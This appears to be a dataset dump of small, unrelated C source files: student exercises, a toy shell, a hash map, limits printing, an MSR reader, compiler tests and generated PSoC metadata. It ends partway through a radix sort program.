file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/176705907.c
|
#include <stdio.h>
#include <limits.h>
int main(void)
{
int i = INT_MAX;
printf("The size of i (int) %zu bytes / %zubits\n", sizeof i, sizeof i *8);
printf("i value: %d\n", i);
return 0;
}
|
the_stack_data/36076287.c
|
/*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2013 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
// features.h does not exist on FreeBSD
#ifndef TARGET_BSD
// features initializes the system's state, including the state of __USE_GNU
#include <features.h>
#endif
// If __USE_GNU is defined, we don't need to do anything.
// If we defined it ourselves, we need to undefine it later.
#ifndef __USE_GNU
#define __USE_GNU
#define APP_UNDEF_USE_GNU
#endif
#include <ucontext.h>
// If we defined __USE_GNU ourselves, we need to undefine it here.
#ifdef APP_UNDEF_USE_GNU
#undef __USE_GNU
#undef APP_UNDEF_USE_GNU
#endif
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#ifdef TARGET_IA32
#define REG_IP REG_EIP
#else
#define REG_IP REG_RIP
#endif
void *DivideByZeroRetPoint;
int DivideByZero()
{
unsigned int i;
volatile unsigned int zero = 0;
fprintf(stderr, "Going to divide by zero\n");
i = 1 / zero;
return i/i;
}
#define DIV_OPCODE 0xf7
#define MODRM_REG 0xc0
#define MODRM_DISP8 0x40
#define MODRM_DISP32 0x80
#define IS_REG_MODE(modrmByte) ((modrmByte & MODRM_REG) == MODRM_REG)
#define IS_DISP8_MODE(modrmByte) ((modrmByte & MODRM_DISP8) == MODRM_DISP8)
#define IS_DISP32_MODE(modrmByte) ((modrmByte & MODRM_DISP32) == MODRM_DISP32)
void div0_signal_handler(int signum, siginfo_t *siginfo, void *uctxt)
{
printf("Inside div0 handler\n");
ucontext_t *frameContext = (ucontext_t *)uctxt;
unsigned char *bytes = (unsigned char *)frameContext->uc_mcontext.gregs[REG_IP];
if (bytes[0] == DIV_OPCODE)
{
if (IS_REG_MODE(bytes[1]))
{
printf("div %reg instruction\n");
// set IP pointing to the next instruction
frameContext->uc_mcontext.gregs[REG_IP] += 2;
return;
}
if (IS_DISP8_MODE(bytes[1]))
{
printf("div mem8 instruction\n");
// set IP pointing to the next instruction
frameContext->uc_mcontext.gregs[REG_IP] += 3;
return;
}
if (IS_DISP32_MODE(bytes[1]))
{
printf("div mem32 instruction\n");
// set IP pointing to the next instruction
frameContext->uc_mcontext.gregs[REG_IP] += 6;
return;
}
}
printf("Unexpected instruction at address 0x%lx\n", (unsigned long)frameContext->uc_mcontext.gregs[REG_IP]);
exit(-1);
}
int main()
{
int ret;
struct sigaction sSigaction;
/* Register the signal hander using the siginfo interface*/
sSigaction.sa_sigaction = div0_signal_handler;
sSigaction.sa_flags = SA_SIGINFO;
/* mask all other signals */
sigfillset(&sSigaction.sa_mask);
ret = sigaction(SIGFPE, &sSigaction, NULL);
if(ret)
{
perror("ERROR, sigaction failed");
exit(-1);
}
if(DivideByZero() != 1)
{
exit (-1);
}
return 0;
}
|
the_stack_data/1173751.c
|
/* Example code for Exercises in C.
Copyright 2016 Allen Downey
License: Creative Commons Attribution-ShareAlike 3.0
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// VALUE: represents a value in a key-value pair
/* Here's one way of making a polymorphic object in C */
typedef struct {
enum Type {INT, STRING} type;
union {
int i;
char *s;
};
} Value;
/* Makes a Value object that contains an int.
*
* i: value to store.
*
* returns: pointer to a new Value
*/
Value *make_int_value(int i)
{
Value *value = (Value *) malloc (sizeof (Value));
value->type = INT;
value->i = i;
return value;
}
/* Makes a Value object that contains a string.
*
* s: value to store.
*
* returns: pointer to a new Value
*/
Value *make_string_value(char *s)
{
Value *value = (Value *) malloc (sizeof (Value));
value->type = STRING;
value->s = s;
return value;
}
/* Prints a value object.
*
* value: pointer to Value
*
*/
void print_value (Value *value)
{
if (value == NULL) {
printf ("%p", value);
return;
}
switch (value->type) {
case INT:
printf ("%d", value->i);
break;
case STRING:
printf ("%s", value->s);
break;
}
}
// HASHABLE: Represents a key in a key-value pair.
/* Here's another way to make a polymorphic object.
The key can be any pointer type. It's stored as a (void *), so
when you extract it, you have to cast it back to whatever it is.
`hash` is a pointer to a function that knows how to hash the key.
`equal` is a pointer to a function that knows how to compare keys.
*/
typedef struct {
void *key;
int (*hash) (void *);
int (*equal) (void *, void *);
} Hashable;
/* Makes a Hashable object.
*
* key: pointer to anything
* hash: function that can hash keys
* equal: function that compares keys
*
* returns: pointer to Hashable
*
*/
Hashable *make_hashable(void *key,
int (*hash) (void *),
int (*equal) (void *, void *))
{
Hashable *hashable = (Hashable *) malloc (sizeof (Hashable));
hashable->key = key;
hashable->hash = hash;
hashable->equal = equal;
return hashable;
}
/* Prints a Hashable object.
*
* hashable: pointer to hashable
*/
void print_hashable(Hashable *hashable)
{
printf ("key %p\n", hashable->key);
printf ("hash %p\n", hashable->hash);
}
/* Hashes an integer.
*
* p: pointer to integer
*
* returns: integer hash value
*/
int hash_int(void *p)
{
return *(int *)p;
}
/* Hashes a string.
*
* p: pointer to first char of a string
*
* returns: integer hash value
*/
int hash_string(void *p)
{
char *s = (char *) p;
int total = 0;
int i = 0;
while (s[i] != 0) {
total += s[i];
i++;
}
return total;
}
/* Hashes any Hashable.
*
* hashable: Hashable object
*
* returns: int hash value
*/
int hash_hashable(Hashable *hashable)
{
return hashable->hash (hashable->key);
}
/* Compares integers.
*
* ip: pointer to int
* jp: pointer to int
*
* returns: 1 if equal, 0 otherwise
*/
int equal_int (void *ip, void *jp)
{
if (*(int *)ip == *(int *)jp) {
return 1;
}
return 0;
}
/* Compares strings.
*
* s1: pointer to first char of a string
* s2: pointer to first char of a string
*
* returns: 1 if equal, 0 otherwise
*/
int equal_string (void *s1, void *s2)
{
if (strcmp((char *)s1, (char *)s2)) {
return 1;
}
return 0;
}
/* Compares Hashables.
*
* h1: Hashable
* h2: Hashable of the same type
*
* returns: 1 if equal, 0 otherwise
*
*/
int equal_hashable(Hashable *h1, Hashable *h2)
{
return h1->equal(h1->key, h2->key);
}
/* Makes a Hashable int.
*
* Allocates space and copies the int.
*
* x: integer to store
*
* returns: Hashable
*/
Hashable *make_hashable_int (int x)
{
int *p = (int *) malloc (sizeof (int));
*p = x;
return make_hashable((void *) p, hash_int, equal_int);
}
/* Makes a Hashable int.
*
* Stores a reference to the string (not a copy).
*
* s: string to store
*
* returns: Hashable
*/
Hashable *make_hashable_string (char *s)
{
return make_hashable((void *) s, hash_string, equal_string);
}
// NODE: a node in a list of key-value pairs
typedef struct node {
Hashable *key;
Value *value;
struct node *next;
} Node;
/* Makes a Node. */
Node *make_node(Hashable *key, Value *value, Node *next)
{
Node *node = (Node *) malloc (sizeof (Node));
node->key = key;
node->value = value;
node->next = next;
return node;
}
/* Prints a Node. */
void print_node(Node *node)
{
print_hashable(node->key);
printf ("value %p\n", node->value);
printf ("next %p\n", node->next);
}
/* Prints all the Nodes in a list. */
void print_list(Node *node)
{
if (node == NULL) {
return;
}
print_hashable(node->key);
printf ("value %p\n", node->value);
print_list(node->next);
}
/* Prepends a new key-value pair onto a list.
This is actually a synonym for make_node.
*/
Node *prepend(Hashable *key, Value *value, Node *rest)
{
return make_node(key, value, rest);
}
/* Looks up a key and returns the corresponding value, or NULL */
Value *list_lookup(Node *list, Hashable *key)
{
while (list != NULL) {
if (list-> key == key) {
return list-> value;
}
list = list-> next;
}
return NULL;
}
// MAP: a map is an array of lists of key-value pairs
typedef struct map {
int n;
Node **lists;
} Map;
/* Makes a Map with n lists. */
Map *make_map(int n)
{
int i;
Map *map = (Map *) malloc (sizeof (Map));
map->n = n;
map->lists = (Node **) malloc (sizeof (Node *) * n);
for (i=0; i<n; i++) {
map->lists[i] = NULL;
}
return map;
}
/* Prints a Map. */
void print_map(Map *map)
{
int i;
for (i=0; i<map->n; i++) {
if (map->lists[i] != NULL) {
printf ("%d\n", i);
print_list (map->lists[i]);
}
}
}
/* Adds a key-value pair to a map. */
void map_add(Map *map, Hashable *key, Value *value)
{
Node *new_head;
if (map->lists[hash_hashable(key) % map->n] != NULL) {
new_head = prepend(key, value, map->lists[hash_hashable(key) % map->n]);
}
else {
new_head = make_node(key, value, NULL);
}
map->lists[hash_hashable(key) % map->n] = new_head;
}
/* Looks up a key and returns the corresponding value, or NULL. */
Value *map_lookup(Map *map, Hashable *key)
{
return list_lookup(map->lists[hash_hashable(key) % map->n], key);
}
/* Prints the results of a test lookup. */
void print_lookup(Value *value)
{
printf ("Lookup returned ");
print_value (value);
printf ("\n");
}
int main ()
{
Hashable *hashable1 = make_hashable_int (1);
Hashable *hashable2 = make_hashable_string ("Apple");
Hashable *hashable3 = make_hashable_int (2);
// make a list by hand
Value *value1 = make_int_value (17);
Node *node1 = make_node(hashable1, value1, NULL);
print_node (node1);
Value *value2 = make_string_value ("Orange");
Node *list = prepend(hashable2, value2, node1);
print_list (list);
// run some test lookups
Value *value = list_lookup (list, hashable1);
print_lookup(value);
value = list_lookup (list, hashable2);
print_lookup(value);
value = list_lookup (list, hashable3);
print_lookup(value);
// make a map
Map *map = make_map(10);
map_add(map, hashable1, value1);
map_add(map, hashable2, value2);
printf ("Map\n");
print_map(map);
// run some test lookups
value = map_lookup(map, hashable1);
print_lookup(value);
value = map_lookup(map, hashable2);
print_lookup(value);
value = map_lookup(map, hashable3);
print_lookup(value);
return 0;
}
|
the_stack_data/142984.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_isdigit.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: ecerquei <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/01/21 20:45:52 by ecerquei #+# #+# */
/* Updated: 2020/01/24 22:14:30 by ecerquei ### ########.fr */
/* */
/* ************************************************************************** */
int ft_isdigit(int c)
{
return (c >= '0' && c <= '9');
}
|
the_stack_data/198581230.c
|
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
struct msr_handle {
uint32_t cpu;
int fd;
};
uint32_t msr_get_count(void)
{
long n = sysconf(_SC_NPROCESSORS_ONLN);
if (n <= 0 || n > UINT32_MAX) {
errno = ENODEV;
return 0;
}
return (uint32_t) n;
}
struct msr_handle *msr_alloc(uint32_t cpu)
{
struct msr_handle *m;
m = malloc(sizeof(*m));
if (!m) {
perror("malloc");
return NULL;
}
m->cpu = cpu;
return m;
}
void msr_free(struct msr_handle *m)
{
free(m);
}
uint32_t msr_get_cpu(const struct msr_handle *m)
{
return m->cpu;
}
int msr_open(struct msr_handle *m)
{
char fname[32];
snprintf(fname, sizeof(fname), "/dev/cpu/%"PRIu32"/msr", m->cpu);
if ((m->fd = open(fname, O_RDONLY)) < 0) {
fprintf(stderr, "%s: %s\n", fname, strerror(errno));
return -1;
}
return 0;
}
int msr_close(struct msr_handle *m)
{
int rc = 0;
if (m->fd > 0) {
rc = close(m->fd);
if (rc) {
perror("close");
}
m->fd = 0;
}
return rc;
}
ssize_t msr_read(const struct msr_handle *m, uint32_t msr, uint64_t* data)
{
return pread(m->fd, data, sizeof(uint64_t), msr);
}
|
the_stack_data/22677.c
|
extern int __mark(int);
int f(int n) {
int i = n;
int j = 0;
while (__mark(42) & (i >= 0)) {
i = i - 1;
j++;
}
return j;
}
|
the_stack_data/64199625.c
|
//Leia um caractere maiúsculo, que indica uma operação que deve ser
//realizada e uma matriz M[12][12]. Em seguida, calcule e mostre a soma
//ou a média considerando somente aqueles elementos que estão abaixo da
//diagonal principal da matriz, conforme ilustrado abaixo (área verde).
#include <stdio.h>
int main()
{
double x=0.0, M[12][12];
char J[2];
int i,l,c,y,cont=0;
scanf("%s", &J);
for(l=0; l<=11; l++)
{
for(c=0; c<=11; c++)
scanf("%lf", &M[l][c]);
}
for(y=1; y<=11; y++)
{
for(i=0; i<=cont; i++)
x+=M[y][i];
cont++;
}
if(J[0]=='S')
printf("%.1lf\n", x);
else if(J[0]=='M')
{
x=x/66.0;
printf("%.1lf\n", x);
}
return 0;
}
|
the_stack_data/102496.c
|
/*
* Thanks to Stephen Brennan's tutorial on writing a shell in c:
* https://brennan.io/2015/01/16/write-a-shell-in-c/
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int hs_help(char**);
int hs_exit(char**);
int hs_execute(char**);
int hs_launch(char**);
char *read_line(void);
char **split_line(char*);
int num_builtins(void);
char *builtin_cmds[] = {
"help",
"exit"
};
int (*builtin_func[]) (char **) = {
&hs_help,
&hs_exit
};
int main(int argc, char** argv) {
char *line;
char **args;
int status;
do {
printf("HS> ");
line = read_line();
args = split_line(line);
status = hs_execute(args);
free(line);
free(args);
} while(status);
return EXIT_SUCCESS;
}
int hs_execute(char **args) {
int i;
if (args[0] == NULL) {
return 1;
}
// Check if command matches one of the builtin commands..
for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_cmds[i]) == 0) {
return (*builtin_func[i])(args);
}
}
// return hs_launch(args);
printf("Command '%s' not supported.\n", args[0]);
return hs_help(args);
}
# define RL_BUFSIZE 1024
/*
* Read line from stdin
*/
char *read_line(void) {
int bufsize = RL_BUFSIZE;
int position = 0;
char *buffer = malloc(sizeof(char) * bufsize);
int c;
if (!buffer) {
fprintf(stderr, "hsh: allocation error\n");
exit(EXIT_FAILURE);
}
while(1) {
// read a character
c = getchar();
if (c == EOF || c == '\n') {
buffer[position] = '\0';
return buffer;
} else {
buffer[position] = c;
}
position++;
if (position >= bufsize) {
bufsize += RL_BUFSIZE;
buffer = realloc(buffer, bufsize);
if (!buffer) {
fprintf(stderr, "hsh: allocation error\n");
exit(EXIT_FAILURE);
}
}
}
}
#define TOK_BUFSIZE 64
#define TOK_DELIM " \t\r\n\a"
char** split_line(char *line) {
int bufsize = TOK_BUFSIZE;
int position = 0;
char **tokens = malloc(sizeof(char*) * bufsize);
char *token;
if (!tokens) {
fprintf(stderr, "hsh: allocation error\n");
exit(EXIT_FAILURE);
}
token = strtok(line, TOK_DELIM);
while (token != NULL) {
tokens[position] = token;
position++;
if (position >= bufsize) {
bufsize += TOK_BUFSIZE;
tokens = realloc(tokens, bufsize * sizeof(char*));
if (!tokens) {
fprintf(stderr, "hsh: allocation error\n");
exit(EXIT_FAILURE);
}
}
token = strtok(NULL, TOK_DELIM);
}
tokens[position] = NULL;
return tokens;
}
int num_builtins(void) {
return sizeof(builtin_cmds) / sizeof(char *);
}
int hs_exit(char **args) {
return 0;
}
int hs_help(char **args) {
int i;
printf("~~~Hacker Shell~~~The following commands are available:\n");
for (i = 0; i < num_builtins(); i++) {
printf(" %s\n", builtin_cmds[i]);
}
return 1;
}
int hs_launch(char **args) {
pid_t pid, wpid;
int status;
pid = fork();
if (pid == 0) {
if (execvp(args[0], args) == -1) {
perror("hsh");
}
exit(EXIT_FAILURE);
} else if (pid < 0) {
perror("hsh");
} else {
do {
wpid = waitpid(pid, &status, WUNTRACED);
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
}
return 1;
}
|
the_stack_data/51700764.c
|
/* { dg-do compile } */
/* { dg-set-compiler-env-var SOURCE_DATE_EPOCH "AAA" } */
/* Make sure that SOURCE_DATE_EPOCH is only parsed once */
int
main(void)
{
__builtin_printf ("%s %s\n", __DATE__, __TIME__); /* { dg-error "SOURCE_DATE_EPOCH must expand" } */
__builtin_printf ("%s %s\n", __DATE__, __TIME__);
return 0;
}
|
the_stack_data/1095274.c
|
//
//jmi_p6-1.c on 12-08-18
//
//program to ...
//For more info. about array of strings Read : https://www.includehelp.com/c-programs/create-and-print-array-of-strings.aspx
#include <stdio.h>
int main()
{
int i, n, rate_phr;
char buffer[255];
int w_hr[n];
int gross_pay[n];
char name[n][30]; // each name can be of max. len 30
label1:
printf("\nEnter no of employee : ");
scanf("%d", &n);
if(n <= 0)
{
printf("\nInvalid input...!Try Again.");
goto label1;
}
label2:
printf("\nEnter rate/hr : ");
scanf("%d", &rate_phr);
if( rate_phr <= 0)
{
printf("\n\nInvalid input...!");
goto label2;
}
printf("\n\n");
for (i = 0; i < n; i++)
{
printf("\nEnter name of employee %d : ", i + 1);
fgets(buffer, sizeof(buffer), stdin); // clearing input stream
scanf("%[^\n]s", name[i] );
label3:
printf("Enter total working hours : ");
scanf("%d", &w_hr[i]);
if(w_hr[i] <= 0)
{
printf("\n\nInvalid input...!");
goto label3;
}
if(w_hr[i] <= 40)
gross_pay[i] = w_hr[i] * rate_phr;
else
{
int excess = w_hr[i] - 40;
gross_pay[i] = 40 * rate_phr + (excess * rate_phr) / 2;
}
}
printf("\n\nData of employee are as follows:\n\n");
printf("\nS.no\tNames\tGross_pay\n\n");
for(i = 0; i < 40; i++,printf("-"));
for(i = 0; i < n; i++)
printf("\n%d)\t %s\t %d", i + 1, name[i], gross_pay[i]);
return 0;
}
|
the_stack_data/124058.c
|
#include<stdio.h>
char s[80];
void reverse(char s[])
{
if(s[0]=='\0')
{
return ;
}
else
{
reverse(&s[1]);
putchar(s[0]);
}
}
int main(void)
{
gets(s);
reverse(s);
return 0;
}
|
the_stack_data/162642058.c
|
// mman.c
//
// mmap stub
//
// Author: Ajay Tatachar <[email protected]>
#include <stddef.h>
#include <sys/types.h>
#include <sys/mman.h>
void *mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
{ return NULL; }
|
the_stack_data/90763546.c
|
struct scomplex {
float re;
float im;
};
struct pair {
struct scomplex a;
struct scomplex b;
};
void foo()
{
struct pair p;
#pragma scop
p.a.re = p.b.im;
#pragma endscop
}
|
the_stack_data/73575178.c
|
/* Three Numbers displayed on serperate lines
Third Week Lab(3.1)
Author; Aaron Byrne C15709609
Date; 06/10/2015
*/
#include <stdio.h>
main()
{
int Num1;
int Num2;
int Num3;
printf("Please enter your first number\n");
scanf("%d", &Num1);
printf("Please enter your second number\n");
scanf("%d", &Num2);
printf("Please enter your third number\n");
scanf("%d", &Num3);
printf("\nThe first number your entered was %d", Num1);
printf("\nThe second number your entered was %d", Num2);
printf("\nThe third number your entered was %d", Num3);
getchar();
}//end main
|
the_stack_data/705060.c
|
#include <stdio.h>
#include <limits.h>
#include <float.h>
int main()
{
printf("CHAR_BIT : %d\n", CHAR_BIT);
printf("CHAR_MAX : %d\n", CHAR_MAX);
printf("CHAR_MIN : %d\n", CHAR_MIN);
printf("INT_MAX : %d\n", INT_MAX);
printf("INT_MIN : %d\n", INT_MIN);
printf("LONG_MAX : %ld\n", (long)LONG_MAX);
printf("LONG_MIN : %ld\n", (long)LONG_MIN);
printf("SCHAR_MAX : %d\n", SCHAR_MAX);
printf("SCHAR_MIN : %d\n", SCHAR_MIN);
printf("SHRT_MAX : %d\n", SHRT_MAX);
printf("SHRT_MIN : %d\n", SHRT_MIN);
printf("UCHAR_MAX : %d\n", UCHAR_MAX);
printf("UINT_MAX : %u\n", (unsigned int)UINT_MAX);
printf("ULONG_MAX : %lu\n", (unsigned long)ULONG_MAX);
printf("USHRT_MAX : %d\n", (unsigned short)USHRT_MAX);
printf("Storage size for float : %ld \n", sizeof(float));
printf("FLT_MAX : %g\n", (float)FLT_MAX);
printf("FLT_MIN : %g\n", (float)FLT_MIN);
printf("-FLT_MAX : %g\n", (float)-FLT_MAX);
printf("-FLT_MIN : %g\n", (float)-FLT_MIN);
printf("DBL_MAX : %g\n", (double)DBL_MAX);
printf("DBL_MIN : %g\n", (double)DBL_MIN);
printf("-DBL_MAX : %g\n", (double)-DBL_MAX);
printf("Precision value: %d\n", FLT_DIG);
return 0;
}
|
the_stack_data/1162583.c
|
#include <assert.h>
struct A {
int (*bar)();
int a;
};
typedef struct A A_t;
void foo(A_t *a1) {
if (a1->bar)
assert(0);
int b = a1->a;
}
|
the_stack_data/313904.c
|
#include <stdio.h>
#include <string.h>
/* Leia um arquivo texto, a cada final de linha, adicione a linha
lida em uma estrutura de ponteiros para ponteiros */
int main()
{
FILE *arquivo;
arquivo = fopen("arquivo.txt", "r+");
if (arquivo == NULL)
{
printf("Falha ao abrir o arquivo para leitura.\n");
}
char matriz[10][100];
int i = 0;
while(!feof(arquivo))
{
fgets(matriz[i++], 100, arquivo);
}
for (int j = 0; j < i; j++)
{
printf("Linha %d: %s", j, matriz[j]);
}
printf("\n");
fclose(arquivo);
return 0;
}
|
the_stack_data/89200220.c
|
/* { dg-do compile } */
/* { dg-options "-mips16" } */
void
unreachable (int i)
{
asm volatile goto ("b\t.\n\tbeqz\t%0,%l1" : : "r" (i) : : punt);
punt:
__builtin_unreachable ();
}
/* Expect assembly like:
beqz $4,$L2
# Anything goes here.
$L2: # The label must match.
.insn
$L3 = . # It's there, but we don't care.
.end unreachable
that is .insn to be inserted if a code label is at function's end. */
/* { dg-final { scan-assembler "\tbeqz\t\\\$\[0-9\]+,(.L\[0-9\]+)\n.*\n\\1:\n\t\\.insn\n(?:.L\[0-9\]+ = \\.\n)?\t\\.end\tunreachable\n" } } */
|
the_stack_data/34513356.c
|
/*******************************************************************************
* File Name: cymetadata.c
*
* PSoC Creator 4.1 Update 1
*
* Description:
* This file defines all extra memory spaces that need to be included.
* This file is automatically generated by PSoC Creator.
*
********************************************************************************
* Copyright (c) 2007-2017 Cypress Semiconductor. All rights reserved.
* You may use this file only in accordance with the license, terms, conditions,
* disclaimers, and limitations in the end user license agreement accompanying
* the software package with which this file was provided.
********************************************************************************/
#include "stdint.h"
#if defined(__GNUC__) || defined(__ARMCC_VERSION)
#ifndef CY_CONFIG_ECC_SECTION
#define CY_CONFIG_ECC_SECTION __attribute__ ((__section__(".cyconfigecc"), used))
#endif
CY_CONFIG_ECC_SECTION
#elif defined(__ICCARM__)
#pragma location=".cyconfigecc"
#else
#error "Unsupported toolchain"
#endif
const uint8_t cy_meta_configecc[] = {
0x00u
};
#if defined(__GNUC__) || defined(__ARMCC_VERSION)
#ifndef CY_CUST_NVL_SECTION
#define CY_CUST_NVL_SECTION __attribute__ ((__section__(".cycustnvl"), used))
#endif
CY_CUST_NVL_SECTION
#elif defined(__ICCARM__)
#pragma location=".cycustnvl"
#else
#error "Unsupported toolchain"
#endif
const uint8_t cy_meta_custnvl[] = {
0x00u, 0x00u, 0x40u, 0x05u
};
#if defined(__GNUC__) || defined(__ARMCC_VERSION)
#ifndef CY_WO_NVL_SECTION
#define CY_WO_NVL_SECTION __attribute__ ((__section__(".cywolatch"), used))
#endif
CY_WO_NVL_SECTION
#elif defined(__ICCARM__)
#pragma location=".cywolatch"
#else
#error "Unsupported toolchain"
#endif
const uint8_t cy_meta_wonvl[] = {
0xBCu, 0x90u, 0xACu, 0xAFu
};
#if defined(__GNUC__) || defined(__ARMCC_VERSION)
#ifndef CY_FLASH_PROT_SECTION
#define CY_FLASH_PROT_SECTION __attribute__ ((__section__(".cyflashprotect"), used))
#endif
CY_FLASH_PROT_SECTION
#elif defined(__ICCARM__)
#pragma location=".cyflashprotect"
#else
#error "Unsupported toolchain"
#endif
const uint8_t cy_meta_flashprotect[] = {
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u
};
#if defined(__GNUC__) || defined(__ARMCC_VERSION)
#ifndef CY_META_SECTION
#define CY_META_SECTION __attribute__ ((__section__(".cymeta"), used))
#endif
CY_META_SECTION
#elif defined(__ICCARM__)
#pragma location=".cymeta"
#else
#error "Unsupported toolchain"
#endif
const uint8_t cy_metadata[] = {
0x00u, 0x01u, 0x2Eu, 0x16u, 0x00u, 0x69u, 0x00u, 0x01u,
0x00u, 0x00u, 0x00u, 0x00u
};
|
the_stack_data/54825837.c
|
/*
* Radix Sort Algorithm
* File: radix.c
* Author: Metin Kuzhan
*
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main( int argc , char * argv[] )
{
int number_count= atoi(*(argv+1));
int * numbers,*numbers_copy;
numbers= malloc(sizeof(int)*number_count);
numbers_copy= malloc(sizeof(int)*number_count);
int indices= 0;
for( int i= 2 ; i < argc ; i++ )
{
numbers[indices]= atoi (* ( argv + i ) );
indices++;
}
indices=0;
int units_digit[number_count];
for( int k=0 ; k < number_count ; k++ )
{
units_digit[k]= numbers[k]%10;
}
int most_greatest= 0;
int place=0;
for(int k= 0 ; k < number_count ; k++ )
{
most_greatest= 0;
for( int j=0 ; j < number_count ; j++ )
{
if( units_digit[j] >= most_greatest )
{
most_greatest= units_digit[j];
place= j;
}
}
numbers_copy[k]= numbers[place];
units_digit[place]= -1;
numbers[place]= -1;
}
indices=0;
for(int k=number_count-1 ; k >= 0 ; k-- )
{
numbers[indices]= numbers_copy[k];
indices++;
}
for( int k=0 ; k < number_count ; k++ )
{
units_digit[k]= numbers[k] % 100;
units_digit[k]= units_digit[k] / 10;
}
most_greatest= 0;
place=0;
for( int k= 0 ; k < number_count ; k++ )
{
most_greatest= 0;
for( int j= 0 ; j < number_count ; j++ )
{
if(units_digit[j] >= most_greatest )
{
most_greatest= units_digit[j];
place= j;
}
}
numbers_copy[k]=numbers[place];
units_digit[place]= -1;
numbers[place]= -1;
}
indices=0;
for( int k= number_count-1; k >=0 ; k-- )
{
numbers[indices]= numbers_copy[k];
indices++;
}
for( int k= 0 ; k < number_count ; k++ )
{
units_digit[k]= numbers[k] / 100;
}
most_greatest= 0;
place=0;
for( int k= 0 ; k < number_count ; k++ )
{
most_greatest= 0;
for( int j=0 ; j < number_count ; j++)
{
if( units_digit[j] >= most_greatest )
